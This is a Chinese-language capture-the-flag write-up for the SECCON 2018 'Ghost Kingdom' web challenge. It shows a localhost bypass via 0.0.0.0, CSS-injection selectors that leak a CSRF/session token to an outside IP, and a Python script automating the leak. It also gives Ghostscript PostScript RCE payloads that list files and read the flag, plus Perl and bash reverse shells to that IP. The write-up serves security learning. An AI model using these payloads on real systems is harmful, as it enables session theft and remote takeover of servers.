最近打了SECCON CTF2018,只有一道唯一的web题,质量挺不错,学到了新姿势。
Ghost Kingdom
题目介绍
先简单介绍一下题目,有注册、登录、message to admin
、take a screenshot
、upload image
几个功能所有功能的实现都是以get请求的方式完成,upload image
功能提示必须从localhost
登录才能使用。take a screenshot
功能是传入一个url,返回那个url的截屏。一开始,理所当然地以为是要XSS+SSRF
之类的,毕竟有一个message to admin
功能,后面才发现想错了。<>
被实体编码了,会原封不动放到页面上,这里是无法进行XSS
的,需要另想办法。
利用take a screenshot
功能在localhost登录
前面说了,所有请求都是get请求,所以我们是可以通过这个功能的url去实现登录的,直接用127.0.0.1
不行可以用0.0.0.0
绕过,然后实现登录。
CSS注入
在进一步探索中,我们可以发现两个点。
- 在
message to admin
页面,有一个preview
的功能,可以发现它的参数有些奇怪,比如http://ghostkingdom.pwn.seccon.jp/?css=c3BhbntiYWNrZ3JvdW5kLWNvbG9yOnJlZDtjb2xvcjp5ZWxsb3d9&msg=%3Csadsa%3E&action=msgadm2
这个css
参数解码出来是span{background-color:red;color:yellow}
,与页面呈现出来的符合。查看源码可以看到它被嵌入到了代码中。 - 源码中可以看到有一个
hidden
的input
,存了一个csrf
的值,我们可以发现,这个值跟当前的cookie值是相同的。
综合这两点,可以用一个新姿势,也就是CSS注入。CSS注入的payload
是这样的1
2
3
4input[value^="0"] {background: url(http://123.207.99.17/?csrf=0)}
input[value^="1"] {background: url(http://123.207.99.17/?csrf=1)}
input[value^="2"] {background: url(http://123.207.99.17/?csrf=2)}
etc...
用到了css的选择器的性质,符合不同的选择器就会向VPS发送不同的请求。根据这个,结合take a screenshot
功能,我们就可以拿到用户在localhost
的cookie
,然后使用upload image
功能。exp:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27#encoding:utf-8
import requests,base64
headers={'Host': 'ghostkingdom.pwn.seccon.jp',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Accept-Encoding': 'gzip, deflate',
'Referer': 'http://ghostkingdom.pwn.seccon.jp/?action=sshot',
'Connection': 'close',
'Cookie': 'CGISESSID=3bd2c1e04825a87e83633a',
'Upgrade-Insecure-Requests': '1'}
proxies={'http':'http://127.0.0.1:8080'}
def getBase64(s):
z = []
for i in '0123456789abcdefghijklmnopqrstuvwxyz':
st = s+i
z.append('input[value^="{}"] {{background: url(http://123.207.99.17/?csrf={})}}'.format(st, st))
return base64.b64encode('\n'.join(z))
def formatURL(s):
return "http://0.0.0.0/?css={}%%26action=msgadm2".format(s)
r=requests.get(url='http://ghostkingdom.pwn.seccon.jp/?url='+formatURL(getBase64(''))+'&action=sshot2',
headers=headers,timeout=2,proxies=proxies)
需要点时间,最后拿到了cookie
利用Ghostscript漏洞进行RCE
然后我们可以使用文件上传功能了,上传上去的文件,可以convert to gif format
随便传一个非图片的文件上去,会报错搜索报错信息,可以发现这里用的是一个叫ImageMagick
的图片格式转换工具,进而可以搜到Ghostscript
的远程代码执行漏洞.
Ghostscript是一套建基于Adobe、PostScript及可移植文档格式(PDF)的页面描述语言等而编译成的免费软件
ImageMagick无法直接实现pdf文档到图片的转换,需要借助于ghostscript软件包
在这里可以找到ghostscript
RCE的POC
列目录的exp1
2
3
4
5
6%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%$(ls /var/www/html/FLAG/)) currentdevice putdeviceprops
然后,读flag1
2
3
4
5
6%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%$(cat /var/www/html/FLAG/FLAGflagF1A8.txt)) currentdevice putdeviceprops
用perl
可以反弹shell
1
2
3
4
5
6%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%perl -e 'use Socket;$i="123.207.99.17";$p=2333;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};') currentdevice putdeviceprops
bash也可以bash -c '/bin/bash -i >& /dev/tcp/123.207.99.17/2333 0>&1'
额外的发现
像前面那个CSS注入的方法,在chrome
和在firefox
中有一些不同,研究了我半天,终于破案了。直接上图type=hidden
:firefox
:chrome
:type=text
:firefox
:chrome
:其他标签的属性没有深究。